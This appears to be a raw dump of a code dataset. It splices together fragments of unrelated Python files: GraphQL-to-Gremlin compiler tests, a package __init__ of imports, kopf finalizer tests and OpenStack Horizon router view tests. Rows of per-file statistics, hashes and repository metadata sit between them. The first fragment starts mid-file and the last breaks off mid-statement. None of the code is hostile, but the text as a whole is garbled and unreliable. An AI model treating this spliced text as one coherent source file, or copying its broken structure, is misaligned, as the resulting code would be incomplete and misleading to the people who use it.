g.V('@class', 'Foo')
.as('Foo___1')
.out('Foo_Bar')
.filter{it, m -> (it.name == m.Foo___1.name)}
.as('Foo__out_Foo_Bar___1')
.back('Foo___1')
.transform{it, m -> new com.orientechnologies.orient.core.record.impl.ODocument([
foo_name: m.Foo___1.name
])}
'''
received_match = emit_gremlin.emit_code_from_ir(ir_blocks)
compare_gremlin(self, expected_gremlin, received_match)
def test_output_inside_optional_traversal(self):
base_location = Location(('Foo',))
revisited_base_location = base_location.revisit()
child_location = base_location.navigate_to_subpath('out_Foo_Bar')
child_name_location = child_location.navigate_to_field('name')
ir_blocks = [
QueryRoot({'Foo'}),
MarkLocation(base_location),
Traverse('out', 'Foo_Bar', optional=True),
MarkLocation(child_location),
Backtrack(base_location, optional=True),
MarkLocation(revisited_base_location),
ConstructResult({
'bar_name': TernaryConditional(
BinaryComposition(
u'!=',
OutputContextVertex(child_location),
NullLiteral),
OutputContextField(child_name_location, GraphQLString),
NullLiteral)
})
]
expected_gremlin = '''
g.V('@class', 'Foo')
.as('Foo___1')
.ifThenElse{it.out_Foo_Bar == null}{null}{it.out('Foo_Bar')}
.as('Foo__out_Foo_Bar___1')
.optional('Foo___1')
.as('Foo___2')
.transform{it, m -> new com.orientechnologies.orient.core.record.impl.ODocument([
bar_name: ((m.Foo__out_Foo_Bar___1 != null) ? m.Foo__out_Foo_Bar___1.name : null)
])}
'''
received_match = emit_gremlin.emit_code_from_ir(ir_blocks)
compare_gremlin(self, expected_gremlin, received_match)
def test_datetime_output_representation(self):
base_location = Location(('Event',))
base_event_date_location = base_location.navigate_to_field('event_date')
ir_blocks = [
QueryRoot({'Event'}),
MarkLocation(base_location),
ConstructResult({
'event_date': OutputContextField(base_event_date_location, GraphQLDateTime)
})
]
expected_gremlin = '''
g.V('@class', 'Event')
.as('Event___1')
.transform{it, m -> new com.orientechnologies.orient.core.record.impl.ODocument([
event_date: m.Event___1.event_date.format("yyyy-MM-dd'T'HH:mm:ssX")
])}
'''
received_match = emit_gremlin.emit_code_from_ir(ir_blocks)
compare_gremlin(self, expected_gremlin, received_match)
| 36.783708
| 100
| 0.559985
| 1,230
| 13,095
| 5.538211
| 0.112195
| 0.066941
| 0.03303
| 0.038755
| 0.801967
| 0.784058
| 0.746036
| 0.725191
| 0.703171
| 0.680711
| 0
| 0.004413
| 0.342421
| 13,095
| 355
| 101
| 36.887324
| 0.786668
| 0.009698
| 0
| 0.731148
| 0
| 0.02623
| 0.298294
| 0.050166
| 0
| 0
| 0
| 0
| 0
| 1
| 0.036066
| false
| 0
| 0.036066
| 0
| 0.078689
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0ae48d02d5960b657be6ffd223cc19dbba1736bf
| 196
|
py
|
Python
|
src/utils/__init__.py
|
wikimedia/research-reader-survey-analysis
|
fbf4d71eebaf5ac5205713b0271f4ea51ab388f8
|
[
"MIT"
] | null | null | null |
src/utils/__init__.py
|
wikimedia/research-reader-survey-analysis
|
fbf4d71eebaf5ac5205713b0271f4ea51ab388f8
|
[
"MIT"
] | null | null | null |
src/utils/__init__.py
|
wikimedia/research-reader-survey-analysis
|
fbf4d71eebaf5ac5205713b0271f4ea51ab388f8
|
[
"MIT"
] | null | null | null |
from .utils import exec_hive_stat2
from .utils import exec_mariadb_stat2
from .utils import user_hash
from .utils import download_dump_file
from .utils import read_redirects
from .config import *
| 28
| 37
| 0.841837
| 31
| 196
| 5.064516
| 0.483871
| 0.286624
| 0.477707
| 0.242038
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.011628
| 0.122449
| 196
| 7
| 38
| 28
| 0.901163
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
0af11bafee5fcfbe53e9912738b97ae193a10b93
| 5,198
|
py
|
Python
|
tests/registries/legacy/test_legacy_requires_finalizer.py
|
zakkg3/kopf
|
ea11b475f9b2c067a86760c308e97cc2c0a96fb9
|
[
"MIT"
] | null | null | null |
tests/registries/legacy/test_legacy_requires_finalizer.py
|
zakkg3/kopf
|
ea11b475f9b2c067a86760c308e97cc2c0a96fb9
|
[
"MIT"
] | null | null | null |
tests/registries/legacy/test_legacy_requires_finalizer.py
|
zakkg3/kopf
|
ea11b475f9b2c067a86760c308e97cc2c0a96fb9
|
[
"MIT"
] | null | null | null |
import pytest
import kopf
from kopf import GlobalRegistry
from kopf.structs.resources import Resource
OBJECT_BODY = {
'apiVersion': 'group/version',
'kind': 'singular',
'metadata': {
'name': 'test',
'labels': {
'key': 'value',
},
'annotations': {
'key': 'value',
}
}
}
@pytest.mark.parametrize('optional, expected', [
pytest.param(True, False, id='optional'),
pytest.param(False, True, id='mandatory'),
])
def test_requires_finalizer_deletion_handler(optional, expected):
registry = GlobalRegistry()
resource = Resource('group', 'version', 'plural')
@kopf.on.delete('group', 'version', 'plural',
registry=registry, optional=optional)
def fn(**_):
pass
requires_finalizer = registry.requires_finalizer(resource=resource, body=OBJECT_BODY)
assert requires_finalizer == expected
@pytest.mark.parametrize('optional, expected', [
pytest.param(True, False, id='optional'),
pytest.param(False, True, id='mandatory'),
])
def test_requires_finalizer_multiple_handlers(optional, expected):
registry = GlobalRegistry()
resource = Resource('group', 'version', 'plural')
@kopf.on.create('group', 'version', 'plural',
registry=registry)
def fn1(**_):
pass
@kopf.on.delete('group', 'version', 'plural',
registry=registry, optional=optional)
def fn2(**_):
pass
requires_finalizer = registry.requires_finalizer(resource=resource, body=OBJECT_BODY)
assert requires_finalizer == expected
def test_requires_finalizer_no_deletion_handler():
registry = GlobalRegistry()
resource = Resource('group', 'version', 'plural')
@kopf.on.create('group', 'version', 'plural',
registry=registry)
def fn1(**_):
pass
requires_finalizer = registry.requires_finalizer(resource=resource, body=OBJECT_BODY)
assert requires_finalizer is False
@pytest.mark.parametrize('optional, expected', [
pytest.param(True, False, id='optional'),
pytest.param(False, True, id='mandatory'),
])
@pytest.mark.parametrize('labels', [
pytest.param({'key': 'value'}, id='value-matches'),
pytest.param({'key': None}, id='key-exists'),
])
def test_requires_finalizer_deletion_handler_matches_labels(labels, optional, expected):
registry = GlobalRegistry()
resource = Resource('group', 'version', 'plural')
@kopf.on.delete('group', 'version', 'plural',
labels=labels,
registry=registry, optional=optional)
def fn(**_):
pass
requires_finalizer = registry.requires_finalizer(resource=resource, body=OBJECT_BODY)
assert requires_finalizer == expected
@pytest.mark.parametrize('optional, expected', [
pytest.param(True, False, id='optional'),
pytest.param(False, False, id='mandatory'),
])
@pytest.mark.parametrize('labels', [
pytest.param({'key': 'othervalue'}, id='value-mismatch'),
pytest.param({'otherkey': None}, id='key-doesnt-exist'),
])
def test_requires_finalizer_deletion_handler_mismatches_labels(labels, optional, expected):
registry = GlobalRegistry()
resource = Resource('group', 'version', 'plural')
@kopf.on.delete('group', 'version', 'plural',
labels=labels,
registry=registry, optional=optional)
def fn(**_):
pass
requires_finalizer = registry.requires_finalizer(resource=resource, body=OBJECT_BODY)
assert requires_finalizer == expected
@pytest.mark.parametrize('optional, expected', [
pytest.param(True, False, id='optional'),
pytest.param(False, True, id='mandatory'),
])
@pytest.mark.parametrize('annotations', [
pytest.param({'key': 'value'}, id='value-matches'),
pytest.param({'key': None}, id='key-exists'),
])
def test_requires_finalizer_deletion_handler_matches_annotations(annotations, optional, expected):
registry = GlobalRegistry()
resource = Resource('group', 'version', 'plural')
@kopf.on.delete('group', 'version', 'plural',
annotations=annotations,
registry=registry, optional=optional)
def fn(**_):
pass
requires_finalizer = registry.requires_finalizer(resource=resource, body=OBJECT_BODY)
assert requires_finalizer == expected
@pytest.mark.parametrize('optional, expected', [
pytest.param(True, False, id='optional'),
pytest.param(False, False, id='mandatory'),
])
@pytest.mark.parametrize('annotations', [
pytest.param({'key': 'othervalue'}, id='value-mismatch'),
pytest.param({'otherkey': None}, id='key-doesnt-exist'),
])
def test_requires_finalizer_deletion_handler_mismatches_annotations(annotations, optional, expected):
registry = GlobalRegistry()
resource = Resource('group', 'version', 'plural')
@kopf.on.delete('group', 'version', 'plural',
annotations=annotations,
registry=registry, optional=optional)
def fn(**_):
pass
requires_finalizer = registry.requires_finalizer(resource=resource, body=OBJECT_BODY)
assert requires_finalizer == expected
| 32.4875
| 101
| 0.661023
| 529
| 5,198
| 6.355388
| 0.111531
| 0.141582
| 0.080309
| 0.04997
| 0.926234
| 0.926234
| 0.921773
| 0.921773
| 0.921773
| 0.91166
| 0
| 0.000715
| 0.193151
| 5,198
| 159
| 102
| 32.691824
| 0.800906
| 0
| 0
| 0.8125
| 0
| 0
| 0.147749
| 0
| 0
| 0
| 0
| 0
| 0.054688
| 1
| 0.117188
| false
| 0.0625
| 0.03125
| 0
| 0.148438
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
7c1869b21d212f521cf8ada8684e569aca7c0244
| 35,068
|
py
|
Python
|
openstack_dashboard/dashboards/project/routers/tests.py
|
rtpro/horizon
|
654724dccc3bf5d224eba10fa8f1e45ef7762c95
|
[
"Apache-2.0"
] | null | null | null |
openstack_dashboard/dashboards/project/routers/tests.py
|
rtpro/horizon
|
654724dccc3bf5d224eba10fa8f1e45ef7762c95
|
[
"Apache-2.0"
] | null | null | null |
openstack_dashboard/dashboards/project/routers/tests.py
|
rtpro/horizon
|
654724dccc3bf5d224eba10fa8f1e45ef7762c95
|
[
"Apache-2.0"
] | null | null | null |
# Copyright 2012, Nachi Ueno, NTT MCL, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import copy
from django.core.urlresolvers import reverse
from django import http
from mox import IsA # noqa
from openstack_dashboard import api
from openstack_dashboard.dashboards.project.routers.extensions.routerrules\
import rulemanager
from openstack_dashboard.dashboards.project.routers import tables
from openstack_dashboard.test import helpers as test
from openstack_dashboard.usage import quotas
class RouterTests(test.TestCase):
DASHBOARD = 'project'
INDEX_URL = reverse('horizon:%s:routers:index' % DASHBOARD)
DETAIL_PATH = 'horizon:%s:routers:detail' % DASHBOARD
def _mock_external_network_list(self, alter_ids=False):
search_opts = {'router:external': True}
ext_nets = [n for n in self.networks.list() if n['router:external']]
if alter_ids:
for ext_net in ext_nets:
ext_net.id += 'some extra garbage'
api.neutron.network_list(
IsA(http.HttpRequest),
**search_opts).AndReturn(ext_nets)
def _mock_external_network_get(self, router):
ext_net_id = router.external_gateway_info['network_id']
ext_net = self.networks.list()[2]
api.neutron.network_get(IsA(http.HttpRequest), ext_net_id,
expand_subnet=False).AndReturn(ext_net)
@test.create_stubs({api.neutron: ('router_list', 'network_list'),
quotas: ('tenant_quota_usages',)})
def test_index(self):
quota_data = self.quota_usages.first()
quota_data['routers']['available'] = 5
api.neutron.router_list(
IsA(http.HttpRequest),
tenant_id=self.tenant.id,
search_opts=None).AndReturn(self.routers.list())
quotas.tenant_quota_usages(
IsA(http.HttpRequest)) \
.MultipleTimes().AndReturn(quota_data)
self._mock_external_network_list()
self.mox.ReplayAll()
res = self.client.get(self.INDEX_URL)
self.assertTemplateUsed(res, '%s/routers/index.html' % self.DASHBOARD)
routers = res.context['table'].data
self.assertItemsEqual(routers, self.routers.list())
@test.create_stubs({api.neutron: ('router_list', 'network_list'),
quotas: ('tenant_quota_usages',)})
def test_index_router_list_exception(self):
quota_data = self.quota_usages.first()
quota_data['routers']['available'] = 5
api.neutron.router_list(
IsA(http.HttpRequest),
tenant_id=self.tenant.id,
search_opts=None).MultipleTimes().AndRaise(self.exceptions.neutron)
quotas.tenant_quota_usages(
IsA(http.HttpRequest)) \
.MultipleTimes().AndReturn(quota_data)
self._mock_external_network_list()
self.mox.ReplayAll()
res = self.client.get(self.INDEX_URL)
self.assertTemplateUsed(res, '%s/routers/index.html' % self.DASHBOARD)
self.assertEqual(len(res.context['table'].data), 0)
self.assertMessageCount(res, error=1)
@test.create_stubs({api.neutron: ('router_list', 'network_list'),
quotas: ('tenant_quota_usages',)})
def test_set_external_network_empty(self):
router = self.routers.first()
quota_data = self.quota_usages.first()
quota_data['routers']['available'] = 5
api.neutron.router_list(
IsA(http.HttpRequest),
tenant_id=self.tenant.id,
search_opts=None).MultipleTimes().AndReturn([router])
quotas.tenant_quota_usages(
IsA(http.HttpRequest)) \
.MultipleTimes().AndReturn(quota_data)
self._mock_external_network_list(alter_ids=True)
self.mox.ReplayAll()
res = self.client.get(self.INDEX_URL)
table_data = res.context['table'].data
self.assertEqual(len(table_data), 1)
self.assertIn('(Not Found)',
table_data[0]['external_gateway_info']['network'])
self.assertTemplateUsed(res, '%s/routers/index.html' % self.DASHBOARD)
self.assertMessageCount(res, error=1)
@test.create_stubs({api.neutron: ('router_get', 'port_list',
'network_get')})
def test_router_detail(self):
router = self.routers.first()
api.neutron.router_get(IsA(http.HttpRequest), router.id)\
.AndReturn(self.routers.first())
api.neutron.port_list(IsA(http.HttpRequest),
device_id=router.id)\
.AndReturn([self.ports.first()])
self._mock_external_network_get(router)
self.mox.ReplayAll()
res = self.client.get(reverse('horizon:%s'
':routers:detail' % self.DASHBOARD,
args=[router.id]))
self.assertTemplateUsed(res, '%s/routers/detail.html' % self.DASHBOARD)
ports = res.context['interfaces_table'].data
self.assertItemsEqual(ports, [self.ports.first()])
@test.create_stubs({api.neutron: ('router_get',)})
def test_router_detail_exception(self):
router = self.routers.first()
api.neutron.router_get(IsA(http.HttpRequest), router.id)\
.AndRaise(self.exceptions.neutron)
self.mox.ReplayAll()
res = self.client.get(reverse('horizon:%s'
':routers:detail' % self.DASHBOARD,
args=[router.id]))
self.assertRedirectsNoFollow(res, self.INDEX_URL)
class RouterActionTests(test.TestCase):
DASHBOARD = 'project'
INDEX_URL = reverse('horizon:%s:routers:index' % DASHBOARD)
DETAIL_PATH = 'horizon:%s:routers:detail' % DASHBOARD
@test.create_stubs({api.neutron: ('router_create',
'get_feature_permission',)})
def test_router_create_post(self):
router = self.routers.first()
api.neutron.get_feature_permission(IsA(http.HttpRequest),
"dvr", "create")\
.AndReturn(False)
api.neutron.get_feature_permission(IsA(http.HttpRequest),
"l3-ha", "create")\
.AndReturn(False)
api.neutron.router_create(IsA(http.HttpRequest), name=router.name)\
.AndReturn(router)
self.mox.ReplayAll()
form_data = {'name': router.name}
url = reverse('horizon:%s:routers:create' % self.DASHBOARD)
res = self.client.post(url, form_data)
self.assertNoFormErrors(res)
self.assertRedirectsNoFollow(res, self.INDEX_URL)
@test.create_stubs({api.neutron: ('router_create',
'get_feature_permission',)})
def test_router_create_post_mode_server_default(self):
router = self.routers.first()
api.neutron.get_feature_permission(IsA(http.HttpRequest),
"dvr", "create")\
.AndReturn(True)
api.neutron.get_feature_permission(IsA(http.HttpRequest),
"l3-ha", "create")\
.AndReturn(True)
api.neutron.router_create(IsA(http.HttpRequest), name=router.name)\
.AndReturn(router)
self.mox.ReplayAll()
form_data = {'name': router.name,
'mode': 'server_default',
'ha': 'server_default'}
url = reverse('horizon:%s:routers:create' % self.DASHBOARD)
res = self.client.post(url, form_data)
self.assertNoFormErrors(res)
self.assertRedirectsNoFollow(res, self.INDEX_URL)
@test.create_stubs({api.neutron: ('router_create',
'get_feature_permission',)})
def test_dvr_ha_router_create_post(self):
router = self.routers.first()
api.neutron.get_feature_permission(IsA(http.HttpRequest),
"dvr", "create")\
.MultipleTimes().AndReturn(True)
api.neutron.get_feature_permission(IsA(http.HttpRequest),
"l3-ha", "create")\
.MultipleTimes().AndReturn(True)
param = {'name': router.name,
'distributed': True,
'ha': True}
api.neutron.router_create(IsA(http.HttpRequest), **param)\
.AndReturn(router)
self.mox.ReplayAll()
form_data = {'name': router.name,
'mode': 'distributed',
'ha': 'enabled'}
url = reverse('horizon:%s:routers:create' % self.DASHBOARD)
res = self.client.post(url, form_data)
self.assertNoFormErrors(res)
self.assertRedirectsNoFollow(res, self.INDEX_URL)
@test.create_stubs({api.neutron: ('router_create',
'get_feature_permission',)})
def test_router_create_post_exception_error_case_409(self):
router = self.routers.first()
api.neutron.get_feature_permission(IsA(http.HttpRequest),
"dvr", "create")\
.MultipleTimes().AndReturn(False)
api.neutron.get_feature_permission(IsA(http.HttpRequest),
"l3-ha", "create")\
.AndReturn(False)
self.exceptions.neutron.status_code = 409
api.neutron.router_create(IsA(http.HttpRequest), name=router.name)\
.AndRaise(self.exceptions.neutron)
self.mox.ReplayAll()
form_data = {'name': router.name}
url = reverse('horizon:%s:routers:create' % self.DASHBOARD)
res = self.client.post(url, form_data)
self.assertNoFormErrors(res)
self.assertRedirectsNoFollow(res, self.INDEX_URL)
@test.create_stubs({api.neutron: ('router_create',
'get_feature_permission',)})
def test_router_create_post_exception_error_case_non_409(self):
router = self.routers.first()
api.neutron.get_feature_permission(IsA(http.HttpRequest),
"dvr", "create")\
.MultipleTimes().AndReturn(False)
api.neutron.get_feature_permission(IsA(http.HttpRequest),
"l3-ha", "create")\
.MultipleTimes().AndReturn(False)
self.exceptions.neutron.status_code = 999
api.neutron.router_create(IsA(http.HttpRequest), name=router.name)\
.AndRaise(self.exceptions.neutron)
self.mox.ReplayAll()
form_data = {'name': router.name}
url = reverse('horizon:%s:routers:create' % self.DASHBOARD)
res = self.client.post(url, form_data)
self.assertNoFormErrors(res)
self.assertRedirectsNoFollow(res, self.INDEX_URL)
@test.create_stubs({api.neutron: ('router_get',
'get_feature_permission')})
def _test_router_update_get(self, dvr_enabled=False,
current_dvr=False,
ha_enabled=False):
router = [r for r in self.routers.list()
if r.distributed == current_dvr][0]
api.neutron.router_get(IsA(http.HttpRequest), router.id)\
.AndReturn(router)
api.neutron.get_feature_permission(IsA(http.HttpRequest),
"dvr", "update")\
.AndReturn(dvr_enabled)
api.neutron.get_feature_permission(IsA(http.HttpRequest),
"l3-ha", "update")\
.AndReturn(ha_enabled)
self.mox.ReplayAll()
url = reverse('horizon:%s:routers:update' % self.DASHBOARD,
args=[router.id])
return self.client.get(url)
def test_router_update_get_dvr_disabled(self):
res = self._test_router_update_get(dvr_enabled=False)
self.assertTemplateUsed(res, 'project/routers/update.html')
self.assertNotContains(res, 'Router Type')
self.assertNotContains(res, 'id="id_mode"')
def test_router_update_get_dvr_enabled_mode_centralized(self):
res = self._test_router_update_get(dvr_enabled=True, current_dvr=False)
self.assertTemplateUsed(res, 'project/routers/update.html')
self.assertContains(res, 'Router Type')
# Check both menu are displayed.
self.assertContains(
res,
'<option value="centralized" selected="selected">'
'Centralized</option>',
html=True)
self.assertContains(
res,
'<option value="distributed">Distributed</option>',
html=True)
def test_router_update_get_dvr_enabled_mode_distributed(self):
res = self._test_router_update_get(dvr_enabled=True, current_dvr=True)
self.assertTemplateUsed(res, 'project/routers/update.html')
self.assertContains(res, 'Router Type')
self.assertContains(
res,
'<input class="form-control" id="id_mode" name="mode" '
'readonly="readonly" type="text" value="distributed" />',
html=True)
self.assertNotContains(res, 'centralized')
@test.create_stubs({api.neutron: ('router_get',
'router_update',
'get_feature_permission')})
def test_router_update_post_dvr_ha_disabled(self):
router = self.routers.first()
api.neutron.get_feature_permission(IsA(http.HttpRequest),
"dvr", "update")\
.AndReturn(False)
api.neutron.get_feature_permission(IsA(http.HttpRequest),
"l3-ha", "update")\
.AndReturn(False)
api.neutron.router_update(IsA(http.HttpRequest), router.id,
name=router.name,
admin_state_up=router.admin_state_up)\
.AndReturn(router)
api.neutron.router_get(IsA(http.HttpRequest), router.id)\
.AndReturn(router)
self.mox.ReplayAll()
form_data = {'router_id': router.id,
'name': router.name,
'admin_state': router.admin_state_up}
url = reverse('horizon:%s:routers:update' % self.DASHBOARD,
args=[router.id])
res = self.client.post(url, form_data)
self.assertRedirectsNoFollow(res, self.INDEX_URL)
@test.create_stubs({api.neutron: ('router_get',
'router_update',
'get_feature_permission')})
def test_router_update_post_dvr_ha_enabled(self):
router = self.routers.first()
api.neutron.get_feature_permission(IsA(http.HttpRequest),
"dvr", "update")\
.AndReturn(True)
api.neutron.get_feature_permission(IsA(http.HttpRequest),
"l3-ha", "update")\
.AndReturn(True)
api.neutron.router_update(IsA(http.HttpRequest), router.id,
name=router.name,
admin_state_up=router.admin_state_up,
distributed=True,
ha=True)\
.AndReturn(router)
api.neutron.router_get(IsA(http.HttpRequest), router.id)\
.AndReturn(router)
self.mox.ReplayAll()
form_data = {'router_id': router.id,
'name': router.name,
'admin_state': router.admin_state_up,
'mode': 'distributed',
'ha': True}
url = reverse('horizon:%s:routers:update' % self.DASHBOARD,
args=[router.id])
res = self.client.post(url, form_data)
self.assertRedirectsNoFollow(res, self.INDEX_URL)
def _mock_network_list(self, tenant_id):
api.neutron.network_list(
IsA(http.HttpRequest),
shared=False,
tenant_id=tenant_id).AndReturn(self.networks.list())
api.neutron.network_list(
IsA(http.HttpRequest),
shared=True).AndReturn([])
def _test_router_addinterface(self, raise_error=False):
router = self.routers.first()
subnet = self.subnets.first()
port = self.ports.first()
add_interface = api.neutron.router_add_interface(
IsA(http.HttpRequest), router.id, subnet_id=subnet.id)
if raise_error:
add_interface.AndRaise(self.exceptions.neutron)
else:
add_interface.AndReturn({'subnet_id': subnet.id,
'port_id': port.id})
api.neutron.port_get(IsA(http.HttpRequest), port.id)\
.AndReturn(port)
self._check_router_addinterface(router, subnet)
def _check_router_addinterface(self, router, subnet, ip_address=''):
# mock APIs used to show router detail
api.neutron.router_get(IsA(http.HttpRequest), router.id)\
.AndReturn(router)
self._mock_network_list(router['tenant_id'])
self.mox.ReplayAll()
form_data = {'router_id': router.id,
'router_name': router.name,
'subnet_id': subnet.id,
'ip_address': ip_address}
url = reverse('horizon:%s:routers:addinterface' % self.DASHBOARD,
args=[router.id])
res = self.client.post(url, form_data)
self.assertNoFormErrors(res)
detail_url = reverse(self.DETAIL_PATH, args=[router.id])
self.assertRedirectsNoFollow(res, detail_url)
@test.create_stubs({api.neutron: ('router_get',
'router_add_interface',
'port_get',
'network_list')})
def test_router_addinterface(self):
self._test_router_addinterface()
@test.create_stubs({api.neutron: ('router_get',
'router_add_interface',
'network_list')})
def test_router_addinterface_exception(self):
self._test_router_addinterface(raise_error=True)
def _test_router_addinterface_ip_addr(self, errors=[]):
router = self.routers.first()
subnet = self.subnets.first()
port = self.ports.first()
ip_addr = port['fixed_ips'][0]['ip_address']
self._setup_mock_addinterface_ip_addr(router, subnet, port,
ip_addr, errors)
self._check_router_addinterface(router, subnet, ip_addr)
def _setup_mock_addinterface_ip_addr(self, router, subnet, port,
ip_addr, errors=[]):
subnet_get = api.neutron.subnet_get(IsA(http.HttpRequest), subnet.id)
if 'subnet_get' in errors:
subnet_get.AndRaise(self.exceptions.neutron)
return
subnet_get.AndReturn(subnet)
params = {'network_id': subnet.network_id,
'fixed_ips': [{'subnet_id': subnet.id,
'ip_address': ip_addr}]}
port_create = api.neutron.port_create(IsA(http.HttpRequest), **params)
if 'port_create' in errors:
port_create.AndRaise(self.exceptions.neutron)
return
port_create.AndReturn(port)
add_inf = api.neutron.router_add_interface(
IsA(http.HttpRequest), router.id, port_id=port.id)
if 'add_interface' not in errors:
return
add_inf.AndRaise(self.exceptions.neutron)
port_delete = api.neutron.port_delete(IsA(http.HttpRequest), port.id)
if 'port_delete' in errors:
port_delete.AndRaise(self.exceptions.neutron)
@test.create_stubs({api.neutron: ('router_add_interface', 'subnet_get',
'port_create',
'router_get', 'network_list')})
def test_router_addinterface_ip_addr(self):
self._test_router_addinterface_ip_addr()
@test.create_stubs({api.neutron: ('subnet_get',
'router_get', 'network_list')})
def test_router_addinterface_ip_addr_exception_subnet_get(self):
self._test_router_addinterface_ip_addr(errors=['subnet_get'])
@test.create_stubs({api.neutron: ('subnet_get', 'port_create',
'router_get', 'network_list')})
def test_router_addinterface_ip_addr_exception_port_create(self):
self._test_router_addinterface_ip_addr(errors=['port_create'])
@test.create_stubs({api.neutron: ('router_add_interface', 'subnet_get',
'port_create', 'port_delete',
'router_get', 'network_list')})
def test_router_addinterface_ip_addr_exception_add_interface(self):
self._test_router_addinterface_ip_addr(errors=['add_interface'])
@test.create_stubs({api.neutron: ('router_add_interface', 'subnet_get',
'port_create', 'port_delete',
'router_get', 'network_list')})
def test_router_addinterface_ip_addr_exception_port_delete(self):
self._test_router_addinterface_ip_addr(errors=['add_interface',
'port_delete'])
@test.create_stubs({api.neutron: ('router_get',
'router_add_gateway',
'network_list')})
def test_router_add_gateway(self):
router = self.routers.first()
network = self.networks.first()
api.neutron.router_add_gateway(
IsA(http.HttpRequest),
router.id,
network.id).AndReturn(None)
api.neutron.router_get(
IsA(http.HttpRequest), router.id).AndReturn(router)
search_opts = {'router:external': True}
api.neutron.network_list(
IsA(http.HttpRequest), **search_opts).AndReturn([network])
self.mox.ReplayAll()
form_data = {'router_id': router.id,
'router_name': router.name,
'network_id': network.id}
url = reverse('horizon:%s:routers:setgateway' % self.DASHBOARD,
args=[router.id])
res = self.client.post(url, form_data)
self.assertNoFormErrors(res)
detail_url = self.INDEX_URL
self.assertRedirectsNoFollow(res, detail_url)
@test.create_stubs({api.neutron: ('router_get',
'router_add_gateway',
'network_list')})
def test_router_add_gateway_exception(self):
router = self.routers.first()
network = self.networks.first()
api.neutron.router_add_gateway(
IsA(http.HttpRequest),
router.id,
network.id).AndRaise(self.exceptions.neutron)
api.neutron.router_get(
IsA(http.HttpRequest), router.id).AndReturn(router)
search_opts = {'router:external': True}
api.neutron.network_list(
IsA(http.HttpRequest), **search_opts).AndReturn([network])
self.mox.ReplayAll()
form_data = {'router_id': router.id,
'router_name': router.name,
'network_id': network.id}
url = reverse('horizon:%s:routers:setgateway' % self.DASHBOARD,
args=[router.id])
res = self.client.post(url, form_data)
self.assertNoFormErrors(res)
detail_url = self.INDEX_URL
self.assertRedirectsNoFollow(res, detail_url)
class RouterRuleTests(test.TestCase):
DASHBOARD = 'project'
INDEX_URL = reverse('horizon:%s:routers:index' % DASHBOARD)
DETAIL_PATH = 'horizon:%s:routers:detail' % DASHBOARD
def _mock_external_network_get(self, router):
ext_net_id = router.external_gateway_info['network_id']
ext_net = self.networks.list()[2]
api.neutron.network_get(IsA(http.HttpRequest), ext_net_id,
expand_subnet=False).AndReturn(ext_net)
def _mock_network_list(self, tenant_id):
api.neutron.network_list(
IsA(http.HttpRequest),
shared=False,
tenant_id=tenant_id).AndReturn(self.networks.list())
api.neutron.network_list(
IsA(http.HttpRequest),
shared=True).AndReturn([])
@test.create_stubs({api.neutron: ('router_get', 'port_list',
'network_get')})
def test_extension_hides_without_rules(self):
router = self.routers.first()
api.neutron.router_get(IsA(http.HttpRequest), router.id)\
.AndReturn(self.routers.first())
api.neutron.port_list(IsA(http.HttpRequest),
device_id=router.id)\
.AndReturn([self.ports.first()])
self._mock_external_network_get(router)
self.mox.ReplayAll()
res = self.client.get(reverse('horizon:%s'
':routers:detail' % self.DASHBOARD,
args=[router.id]))
self.assertTemplateUsed(res, '%s/routers/detail.html' % self.DASHBOARD)
self.assertTemplateNotUsed(res,
'%s/routers/extensions/routerrules/grid.html' % self.DASHBOARD)
@test.create_stubs({api.neutron: ('router_get', 'port_list',
'network_get', 'network_list')})
def test_routerrule_detail(self):
router = self.routers_with_rules.first()
api.neutron.router_get(IsA(http.HttpRequest), router.id)\
.AndReturn(self.routers_with_rules.first())
api.neutron.port_list(IsA(http.HttpRequest),
device_id=router.id)\
.AndReturn([self.ports.first()])
self._mock_external_network_get(router)
if self.DASHBOARD == 'project':
api.neutron.network_list(
IsA(http.HttpRequest),
shared=False,
tenant_id=router['tenant_id']).AndReturn(self.networks.list())
api.neutron.network_list(
IsA(http.HttpRequest),
shared=True).AndReturn([])
self.mox.ReplayAll()
res = self.client.get(reverse('horizon:%s'
':routers:detail' % self.DASHBOARD,
args=[router.id]))
self.assertTemplateUsed(res, '%s/routers/detail.html' % self.DASHBOARD)
if self.DASHBOARD == 'project':
self.assertTemplateUsed(res,
'%s/routers/extensions/routerrules/grid.html' % self.DASHBOARD)
rules = res.context['routerrules_table'].data
self.assertItemsEqual(rules, router['router_rules'])
def _test_router_addrouterrule(self, raise_error=False):
pre_router = self.routers_with_rules.first()
post_router = copy.deepcopy(pre_router)
rule = {'source': '1.2.3.4/32', 'destination': '4.3.2.1/32', 'id': 99,
'action': 'permit', 'nexthops': ['1.1.1.1', '2.2.2.2']}
post_router['router_rules'].insert(0, rule)
api.neutron.router_get(IsA(http.HttpRequest),
pre_router.id).AndReturn(pre_router)
params = {}
params['router_rules'] = rulemanager.format_for_api(
post_router['router_rules'])
router_update = api.neutron.router_update(IsA(http.HttpRequest),
pre_router.id, **params)
if raise_error:
router_update.AndRaise(self.exceptions.neutron)
else:
